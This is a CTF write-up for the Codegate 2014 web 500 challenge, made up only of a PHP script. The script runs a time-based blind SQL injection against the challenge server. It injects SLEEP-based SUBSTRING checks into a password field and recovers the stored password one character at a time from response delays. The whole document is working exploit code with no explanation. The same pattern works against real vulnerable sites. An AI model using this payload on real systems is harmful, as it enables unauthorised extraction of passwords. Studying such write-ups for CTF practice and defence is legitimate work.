codegate 2014 web 500 writeup

<?php
$char = 'abcdefghijklmnopqrstuvwxyz';

for($i=0; $i<30; $i++) {

    $ch = curl_init('http://58.229.183.24/5a520b6b783866fd93f9dcdaf753af08/index.php');

    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_COOKIE, 'PHPSESSID=hbfnn1it8lvi303i6jn2bk05d7');

    $query = "";
    $query .= "'";

    for($j=0; $j<26; $j++) {
        $left = $i + 1;
        $sleeptime = $j + 1;
        $query .= " or if(SUBSTRING(password,$left,1) = '$char[$j]', sleep($sleeptime),0)";
    }

    $query .= " and '1'='1";

    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query( array( "password"=> $query) ));

    curl_exec($ch);
    $info = curl_getinfo($ch);
    $guess = $char[abs($info['total_time'])-1];
    echo "{$i} - {$info['total_time']} - {$guess}\n";
    #echo "====\n";
    #echo $query;
    #echo "====\n";

    curl_close($ch);

}
?>